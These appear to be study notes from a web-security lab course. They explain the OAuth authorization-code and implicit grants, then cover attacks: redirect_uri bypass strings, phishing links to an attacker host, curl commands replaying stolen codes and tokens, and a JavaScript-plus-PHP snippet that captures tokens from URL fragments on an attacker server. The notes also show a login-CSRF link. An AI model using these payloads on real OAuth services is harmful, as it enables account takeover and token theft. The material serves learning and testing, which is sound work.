How it works#

Authorization Code Grant#

The authorization code grant is the most common and secure OAuth grant type.

Step 1: Authorization Request#

This grant type starts with the authorization request from the client academy.htb to the authorization server hubgit.htb:

GET /auth?client_id=1337&redirect_uri=http://academy.htb/callback&response_type=code&scope=user&state=a45c12e87d4522 HTTP/1.1 
Host: hubgit.htb

This request contains multiple interesting GET parameters:

  • client_id: A unique identifier for the client academy.htb.
  • redirect_uri: The URL to which the browser will be redirected after a successful authorization by the resource owner.
  • response_type: This is always set to code for the authorization code grant.
  • scope: This indicates what resources the client academy.htb needs to access. This parameter is optional.
  • state: A random nonce generated by the client that serves a similar purpose to a CSRF token, tying the authorization request to the following callback request. This parameter is optional.

Step 2: Resource Owner Authentication#

The authorization server hubgit.htb will request the user to log in and authorize the client academy.htb to access the requested resources.

Step 3: Authorization Code Grant#

The authorization server redirects the browser to the URL specified in the redirect_uri parameter of the authorization request:

GET /callback?code=ptsmyq2zxyvv23bl&state=a45c12e87d4522 HTTP/1.1
Host: academy.htb

This request contains two parameters:

  • code: The authorization code issued by the authorization server
  • state: The state value from the authorization request to tie these two requests together

Step 4: Access Token Request#

After obtaining the authorization code, the client requests an access token from the authorization server:

POST /token HTTP/1.1
Host: hubgit.htb

client_id=1337&client_secret=SECRET&redirect_uri=http://academy.htb/callback&grant_type=authorization_code&code=ptsmyq2zxyvv23bl

In addition to the previously discussed parameters, this request contains two new parameters:

  • client_secret: A secret value assigned to the client by the authorization server during the initial registration. This value authenticates the client to the authorization server
  • grant_type: This is always set to authorization_code for the authorization code grant

Step 5: Access Token Grant#

The authorization server validates the authorization code and issues a valid access token for the resource server in response to the token request:

{
  "access_token":"RsT5OjbzRn430zqMLgV3Ia",
  "expires_in":3600
}

Step 6: Resource Request#

The client now holds a valid access token for the resource server and can use this access token to request the resource owner’s information:

GET /user_info HTTP/1.1
Host: hubgit.htb
Authorization: Bearer RsT5OjbzRn430zqMLgV3Ia

Step 7: Resource Response#

The resource server validates the access token and responds with the resource owner’s information:

{username: "john", email: "john@hubgit.htb", id: 1337}

Implicit Grant#

The implicit code grant is shorter than the authorization code grant, as the authorization code exchange is skipped. This results in a more straightforward implementation, albeit at the cost of lower security, since access tokens are exposed in the browser.

Therefore, it is generally preferable to use the authorization code grant if possible. However, in some cases, the client might not be able to store the authorization code securely. This might be the case for some client-side JavaScript applications. The implicit grant was specifically designed for these use cases. It can be used when quick access is required, and the security risks associated with token exposure have been evaluated and deemed acceptable.

Step 1: Authorization Request#

The implicit grant type starts with a slightly different authorization request compared to the authorization code grant type:

GET /auth?client_id=1337&redirect_uri=http://academy.htb/callback&response_type=token&scope=user&state=a45c12e87d4522 HTTP/1.1 
Host: hubgit.htb

The response_type parameter is set to token. All other parameters retain the same meaning.

Step 2: Resource Owner Authentication#

The authorization server hubgit.htb will request the user to log in and authorize the client academy.htb to access the requested resources. This is the same as in the authorization code grant.

Step 3: Access Token Grant#

This step is the main difference from the authorization token grant. As before, the authorization server redirects the browser to the URL specified in the redirect_uri parameter of the authorization request. However, instead of providing an authorization code, this redirect already contains the access token in a URL fragment where it can be extracted using suitable client-side JavaScript code:

GET /callback#access_token=RsT5OjbzRn430zqMLgV3Ia&token_type=Bearer&expires_in=3600&scope=user&state=a45c12e87d4522 HTTP/1.1
Host: academy.htb

Step 4: Resource Request#

The client now holds a valid access token for the resource server and can use it to request the resource owner’s information. This is the same as in the authorization code grant.

GET /user_info HTTP/1.1
Host: hubgit.htb
Authorization: Bearer RsT5OjbzRn430zqMLgV3Ia

Step 5: Resource Response#

The resource server validates the access token and responds with the resource owner’s information. This is the same as in the authorization code grant.

{username: "john", email: "john@hubgit.htb", id: 1337}

Attacks#

Insecure redirect_uri#

This is a vulnerability on the authorization server. First, the attacker needs to go through a normal flow and obtain the client_id parameter. Then forge an authorization request url and get our victim to click on it through social engineer, phishing, etc Finally use the authorization code to request access token and log in with victim’s account

The state parameter can be any value, but it has to stay consistent. Set redirect_uri parameter to attacker control server.

If the rederect_uri check is flawed eg. only check if uri contains academy.htb, we can also use these uri:

  • http://academy.htb.attacker.htb/callback
  • http://academy.htb@attacker.htb/callback
  • http://attacker.htb/callback?a=http://academy.htb
  • http://attacker.htb/callback#http://academy.htb
http://hubgit.htb/authorization/auth?response_type=code&client_id=0e8f12335b0bf225&redirect_uri=http://attacker.htb/callback&state=somevalue

Now get someone to click on the link, authenticate to the authorization server. The victim will then make a connection request to us with the authorization code We need to collect that code and use it to request the client for an access token. Remember to use the same state in parameter and cookie as the one in the phishing url

curl -si 'http://academy.htb/client/callback?code=Z0FBQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsT3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pQRW5kMlBqcWRnQkVReUZRPT0&state=somevalue' -H 'Cookie: state=somevalue'

After we got the access token, we can just log in the victim’s account with the access token. Do this on the browser or curl, just set the cookie before accessing

curl http://academy.htb/client -H 'Cookie: access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0Yi1zdGRudCIsImlzcyI6Imh1YmdpdC5odGIiLCJleHAiOjE3MTE0ODQwMjAuODQ2MDAxNn0'

Open redirect#

We exploited the redirect_uri exploit above, however, this is easily fixed by implementing a whitelist check. Typically, this is done by checking the URL’s origin, which consists of the protocol, host, and port, against a whitelisted value provided by the client. This way, the client can still change the callback endpoint without breaking the entire OAuth flow

However, everything changes if open redirect vulnerability is present on client. The attacker now can set the redirect_uri to the client, but exploit the open redirect to direct to attacker’s server Real bug bounty here

First, the attacker find a open redirect url, let’s say it’s like this

http://academy.htb/redirect?u=http://attacker.htb/index.php

Then the attacker go through normal OAuth flow to get the client_id parameter. Let’s say it’s 0e8f12335b0bf225

The tester then craft a url like this

http://hubgit.htb/authorization/auth?response_type=code&client_id=0e8f12335b0bf225&redirect_uri=http://academy.htb/redirect?u=http://attacker.htb/index.php&state=somevalue

But it doesn’t work, because the authorization code is passed to http://academy.htb/redirect, not to attacket’s site.

However, some authorization server allow you to request the access token right away and it will put it in the url as #code=<authorization_code>&access_token=<token>. This is mainly for javascript to parse. It is also the case with #Implicit Grant.

So attacker will change the phishing url to this. Notice ?response_type is now code,token

http://hubgit.htb/authorization/auth?response_type=code,token&client_id=0e8f12335b0bf225&redirect_uri=http://academy.htb/redirect?u=http://attacker.htb/index.php&state=somevalue

Then when the victim clicks on the link, and authenticate, the authorization server will redirect victim to the vulnerable endpoint. Notice that the code and token is in # (hash fragment). This is important

HTTP/1.1 303 SEE OTHER
Location: http://academy.htb/redirect?u=http://attacker.htb/index.php#code=<authorization_code>&access_token=<token>

When victim eventually get redirect back to the client, our victim will be hit with another redirect, because of the open redirect vulnerability

HTTP/1.1 303 SEE OTHER
Location: http://attacker.htb/index.php

And because the code and token is in the hash fragment, the browser will pass that to the new site when hit by a redirect. This is a browser feature (apparently, idk). The url will look like this:

http://attacker.htb/index.php#code=<authorization_code>&access_token=<token>

Now everything after hash fragment is NOT passed to the web server, so we use javascript to parse the url on client side. We can do it by having this script on /index.php on attacker’s server. This script simply get url on the browser and send it to /save.php on the same server

<script>
 fetch("/save.php", {
	 method: "post",
	 body: JSON.stringify({logs: document.location.href})
 })
</script>

And save.php to save the authorization code and access token into code.txt

<?php
$body = file_get_content(php://input);
if ($body){
	$object = json_decode($body, true);
	file_put_contents("code.txt", $object["logs"]);
}
?>

Improper CSRF Protection#

In this attack, the attacker can make the victim sign into attacker’s account with just a link. The attacker will go through normal OAuth flow, but stop after authenticate to the authorization server, get the url The reason this works is because the CSRF token is in state parameter and also the cookie. If there is CSRF, the site detects mismatch in CSRF token in state parameter and state cookie value.

Attacker would go through a normal OAuth flow. First, click on sign in via hubgit.htb, which will redirects you to the authorization server

http://hubgit.htb/authorization/auth?response_type=code&client_id=0e8f12335b0bf225&redirect_uri=/client/callback&state=somevalue

Then log in

After logging in, the authorization server will redirect you back with the authorization code. Copy the redirect uri

HTTP/1.1 303 SEE OTHER
Location: /client/callback?code=Z0FBQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsT3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pQRW5kMlBqcWRnQkVReUZRPT0

Then using the authorization code to construct a phishing URL like this. Whoever click on this link will log into your account.

http://academy.htb/client/callback?code=Z0FBQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsT3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pQRW5kMlBqcWRnQkVReUZRPT0